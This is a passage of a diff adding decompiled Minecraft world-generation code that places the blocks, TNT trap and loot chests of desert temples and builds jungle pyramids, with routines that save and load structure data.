+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var4), scatteredFeatureSizeX - 3, 3, 4, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 3, 2, 2, 3, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 3, 1, 3, scatteredFeatureSizeX - 2, 2, 3, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getDefaultState(), 1, 1, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getDefaultState(), scatteredFeatureSizeX - 2, 1, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.SAND.func_176624_a()), 1, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_slab.getStateFromMeta(BlockStoneSlab.EnumType.SAND.func_176624_a()), scatteredFeatureSizeX - 2, 2, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var7), 2, 1, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var14), scatteredFeatureSizeX - 3, 1, 2, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 4, 3, 5, 4, 3, 18, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 5, 3, 5, scatteredFeatureSizeX - 5, 3, 17, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 3, 1, 5, 4, 2, 16, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 6, 1, 5, scatteredFeatureSizeX - 5, 2, 16, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      
+
+      for (int var10 = 5; var10 <= 17; var10 += 2)
+      {
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 4, 1, var10, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), 4, 2, var10, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), scatteredFeatureSizeX - 5, 1, var10, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), scatteredFeatureSizeX - 5, 2, var10, p_74875_3_);
+      }
+      
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 10, 0, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 10, 0, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 9, 0, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 11, 0, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 8, 0, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 12, 0, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 7, 0, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 13, 0, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 9, 0, 11, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 11, 0, 11, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 10, 0, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 10, 0, 13, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var9), 10, 0, 10, p_74875_3_);
+      
+      for (var10 = 0; var10 <= scatteredFeatureSizeX - 1; var10 += scatteredFeatureSizeX - 1)
+      {
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 2, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 2, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 2, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 3, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 3, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 3, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 4, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), var10, 4, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 4, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 5, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 5, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 5, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 6, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), var10, 6, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 6, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 7, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 7, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 7, 3, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 8, 1, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 8, 2, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 8, 3, p_74875_3_);
+      }
+      
+      for (var10 = 2; var10 <= scatteredFeatureSizeX - 3; var10 += scatteredFeatureSizeX - 3 - 2)
+      {
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 - 1, 2, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 2, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 + 1, 2, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 - 1, 3, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 3, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 + 1, 3, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10 - 1, 4, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), var10, 4, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10 + 1, 4, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 - 1, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 + 1, 5, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10 - 1, 6, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), var10, 6, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10 + 1, 6, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10 - 1, 7, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10, 7, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), var10 + 1, 7, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 - 1, 8, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10, 8, 0, p_74875_3_);
+        func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), var10 + 1, 8, 0, p_74875_3_);
+      }
+      
+      func_175804_a(worldIn, p_74875_3_, 8, 4, 0, 12, 6, 0, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 8, 6, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 12, 6, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 9, 5, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), 10, 5, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stained_hardened_clay.getStateFromMeta(var8), 11, 5, 0, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 8, -14, 8, 12, -11, 12, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 8, -10, 8, 12, -10, 12, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 8, -9, 8, 12, -9, 12, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 8, -8, 8, 12, -1, 12, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, -11, 9, 11, -1, 11, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.stone_pressure_plate.getDefaultState(), 10, -11, 10, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 9, -13, 9, 11, -13, 11, Blocks.tnt.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 8, -11, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 8, -10, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), 7, -10, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 7, -11, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 12, -11, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 12, -10, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), 13, -10, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 13, -11, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 10, -11, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 10, -10, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), 10, -10, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 10, -11, 7, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 10, -11, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 10, -10, 12, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.CHISELED.func_176675_a()), 10, -10, 13, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 10, -11, 13, p_74875_3_);
+      java.util.Iterator var15 = EnumFacing.Plane.HORIZONTAL.iterator();
+      
+      while (var15.hasNext())
+      {
+        EnumFacing var11 = (EnumFacing)var15.next();
+        
+        if (field_74940_h[var11.getHorizontalIndex()] == 0)
+        {
+          int var12 = var11.getFrontOffsetX() * 2;
+          int var13 = var11.getFrontOffsetZ() * 2;
+          field_74940_h[var11.getHorizontalIndex()] = func_180778_a(worldIn, p_74875_3_, p_74875_2_, 10 + var12, -11, 10 + var13, WeightedRandomChestContent.func_177629_a(itemsToGenerateInTemple, new WeightedRandomChestContent[] { Items.enchanted_book.getRandomEnchantedBook(p_74875_2_) }), 2 + p_74875_2_.nextInt(5));
+        }
+      }
+      
+      return true;
+    }
+  }
+  
+  static abstract class Feature extends StructureComponent
+  {
+    protected int scatteredFeatureSizeX;
+    protected int scatteredFeatureSizeY;
+    protected int scatteredFeatureSizeZ;
+    protected int field_74936_d = -1;
+    private static final String __OBFID = "CL_00000479";
+    
+    public Feature() {}
+    
+    protected Feature(Random p_i2065_1_, int p_i2065_2_, int p_i2065_3_, int p_i2065_4_, int p_i2065_5_, int p_i2065_6_, int p_i2065_7_)
+    {
+      super();
+      scatteredFeatureSizeX = p_i2065_5_;
+      scatteredFeatureSizeY = p_i2065_6_;
+      scatteredFeatureSizeZ = p_i2065_7_;
+      coordBaseMode = EnumFacing.Plane.HORIZONTAL.random(p_i2065_1_);
+      
+      switch (ComponentScatteredFeaturePieces.SwitchEnumFacing.field_175956_a[coordBaseMode.ordinal()])
+      {
+      case 1: 
+      case 2: 
+        boundingBox = new StructureBoundingBox(p_i2065_2_, p_i2065_3_, p_i2065_4_, p_i2065_2_ + p_i2065_5_ - 1, p_i2065_3_ + p_i2065_6_ - 1, p_i2065_4_ + p_i2065_7_ - 1);
+        break;
+      
+      default: 
+        boundingBox = new StructureBoundingBox(p_i2065_2_, p_i2065_3_, p_i2065_4_, p_i2065_2_ + p_i2065_7_ - 1, p_i2065_3_ + p_i2065_6_ - 1, p_i2065_4_ + p_i2065_5_ - 1);
+      }
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      p_143012_1_.setInteger("Width", scatteredFeatureSizeX);
+      p_143012_1_.setInteger("Height", scatteredFeatureSizeY);
+      p_143012_1_.setInteger("Depth", scatteredFeatureSizeZ);
+      p_143012_1_.setInteger("HPos", field_74936_d);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      scatteredFeatureSizeX = p_143011_1_.getInteger("Width");
+      scatteredFeatureSizeY = p_143011_1_.getInteger("Height");
+      scatteredFeatureSizeZ = p_143011_1_.getInteger("Depth");
+      field_74936_d = p_143011_1_.getInteger("HPos");
+    }
+    
+    protected boolean func_74935_a(World worldIn, StructureBoundingBox p_74935_2_, int p_74935_3_)
+    {
+      if (field_74936_d >= 0)
+      {
+        return true;
+      }
+      
+
+      int var4 = 0;
+      int var5 = 0;
+      
+      for (int var6 = boundingBox.minZ; var6 <= boundingBox.maxZ; var6++)
+      {
+        for (int var7 = boundingBox.minX; var7 <= boundingBox.maxX; var7++)
+        {
+          BlockPos var8 = new BlockPos(var7, 64, var6);
+          
+          if (p_74935_2_.func_175898_b(var8))
+          {
+            var4 += Math.max(worldIn.func_175672_r(var8).getY(), provider.getAverageGroundLevel());
+            var5++;
+          }
+        }
+      }
+      
+      if (var5 == 0)
+      {
+        return false;
+      }
+      
+
+      field_74936_d = (var4 / var5);
+      boundingBox.offset(0, field_74936_d - boundingBox.minY + p_74935_3_, 0);
+      return true;
+    }
+  }
+  
+
+  public static class JunglePyramid
+    extends ComponentScatteredFeaturePieces.Feature
+  {
+    private boolean field_74947_h;
+    private boolean field_74948_i;
+    private boolean field_74945_j;
+    private boolean field_74946_k;
+    private static final java.util.List field_175816_i = com.google.common.collect.Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.diamond, 0, 1, 3, 3), new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 5, 10), new WeightedRandomChestContent(Items.gold_ingot, 0, 2, 7, 15), new WeightedRandomChestContent(Items.emerald, 0, 1, 3, 2), new WeightedRandomChestContent(Items.bone, 0, 4, 6, 20), new WeightedRandomChestContent(Items.rotten_flesh, 0, 3, 7, 16), new WeightedRandomChestContent(Items.saddle, 0, 1, 1, 3), new WeightedRandomChestContent(Items.iron_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.golden_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.diamond_horse_armor, 0, 1, 1, 1) });
+    private static final java.util.List field_175815_j = com.google.common.collect.Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.arrow, 0, 2, 7, 30) });
+    private static Stones junglePyramidsRandomScatteredStones = new Stones(null);
+    private static final String __OBFID = "CL_00000477";
+    
+    public JunglePyramid() {}
+    
+    public JunglePyramid(Random p_i2064_1_, int p_i2064_2_, int p_i2064_3_)
+    {
+      super(p_i2064_2_, 64, p_i2064_3_, 12, 10, 15);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("placedMainChest", field_74947_h);
+      p_143012_1_.setBoolean("placedHiddenChest", field_74948_i);
+      p_143012_1_.setBoolean("placedTrap1", field_74945_j);
+      p_143012_1_.setBoolean("placedTrap2", field_74946_k);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      field_74947_h = p_143011_1_.getBoolean("placedMainChest");
+      field_74948_i = p_143011_1_.getBoolean("placedHiddenChest");
+      field_74945_j = p_143011_1_.getBoolean("placedTrap1");
+      field_74946_k = p_143011_1_.getBoolean("placedTrap2");
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      if (!func_74935_a(worldIn, p_74875_3_, 0))
+      {
+        return false;
+      }
+      
+
+      int var4 = getMetadataWithOffset(Blocks.stone_stairs, 3);
+      int var5 = getMetadataWithOffset(Blocks.stone_stairs, 2);
+      int var6 = getMetadataWithOffset(Blocks.stone_stairs, 0);
+      int var7 = getMetadataWithOffset(Blocks.stone_stairs, 1);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 0, -4, 0, scatteredFeatureSizeX - 1, 0, scatteredFeatureSizeZ - 1, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 1, 2, 9, 2, 2, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 1, 12, 9, 2, 12, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 1, 3, 2, 2, 11, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 9, 1, 3, 9, 2, 11, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, 3, 1, 10, 6, 1, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, 3, 13, 10, 6, 13, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 1, 3, 2, 1, 6, 12, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 10, 3, 2, 10, 6, 12, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 3, 2, 9, 3, 12, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 6, 2, 9, 6, 12, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 3, 7, 3, 8, 7, 11, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 8, 4, 7, 8, 10, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithAir(worldIn, p_74875_3_, 3, 1, 3, 8, 2, 11);
+      fillWithAir(worldIn, p_74875_3_, 4, 3, 6, 7, 3, 9);
+      fillWithAir(worldIn, p_74875_3_, 2, 4, 2, 9, 5, 12);
+      fillWithAir(worldIn, p_74875_3_, 4, 6, 5, 7, 6, 9);
+      fillWithAir(worldIn, p_74875_3_, 5, 7, 6, 6, 7, 8);
+      fillWithAir(worldIn, p_74875_3_, 5, 1, 2, 6, 2, 2);
+      fillWithAir(worldIn, p_74875_3_, 5, 2, 12, 6, 2, 12);
+      fillWithAir(worldIn, p_74875_3_, 5, 5, 1, 6, 5, 1);
+      fillWithAir(worldIn, p_74875_3_, 5, 5, 13, 6, 5, 13);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, 5, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 10, 5, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 1, 5, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 10, 5, 9, p_74875_3_);
+      
+
+      for (int var8 = 0; var8 <= 14; var8 += 14)
+      {
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 4, var8, 2, 5, var8, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 4, var8, 4, 5, var8, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, 7, 4, var8, 7, 5, var8, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, 9, 4, var8, 9, 5, var8, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      }
+      
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 5, 6, 0, 6, 6, 0, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      
+      for (var8 = 0; var8 <= 11; var8 += 11)
+      {
+        for (int var9 = 2; var9 <= 12; var9 += 2)
+        {
+          fillWithRandomizedBlocks(worldIn, p_74875_3_, var8, 4, var9, var8, 5, var9, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+        }
+        
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, var8, 6, 5, var8, 6, 5, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+        fillWithRandomizedBlocks(worldIn, p_74875_3_, var8, 6, 9, var8, 6, 9, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      }
+      
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 7, 2, 2, 9, 2, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 9, 7, 2, 9, 9, 2, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 2, 7, 12, 2, 9, 12, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 9, 7, 12, 9, 9, 12, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 9, 4, 4, 9, 4, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 7, 9, 4, 7, 9, 4, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 9, 10, 4, 9, 10, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 7, 9, 10, 7, 9, 10, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 5, 9, 7, 6, 9, 7, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 5, 9, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 6, 9, 6, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var5), 5, 9, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var5), 6, 9, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 4, 0, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 5, 0, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 6, 0, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 7, 0, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 4, 1, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 4, 2, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 4, 3, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 7, 1, 8, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 7, 2, 9, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var4), 7, 3, 10, p_74875_3_);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 9, 4, 1, 9, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 7, 1, 9, 7, 1, 9, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 4, 1, 10, 7, 2, 10, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      fillWithRandomizedBlocks(worldIn, p_74875_3_, 5, 4, 5, 6, 4, 5, false, p_74875_2_, junglePyramidsRandomScatteredStones);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var6), 4, 4, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var7), 7, 4, 5, p_74875_3_);
+      
+      for (var8 = 0; var8 < 4; var8++)
+      {
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var5), 5, 0 - var8, 6 + var8, p_74875_3_);
+        func_175811_a(worldIn, Blocks.stone_stairs.getStateFromMeta(var5), 6, 0 - var8, 6 + var8, p_74875_3_);
+        fillWithAir(worldIn, p_74875_3_, 5, 0 - var8, 7 + var8, 6, 0 - var8, 9 + var8);
+      }
+      
+      fillWithAir(worldIn, p_74875_3_, 1, -3, 12, 10, -1, 13);
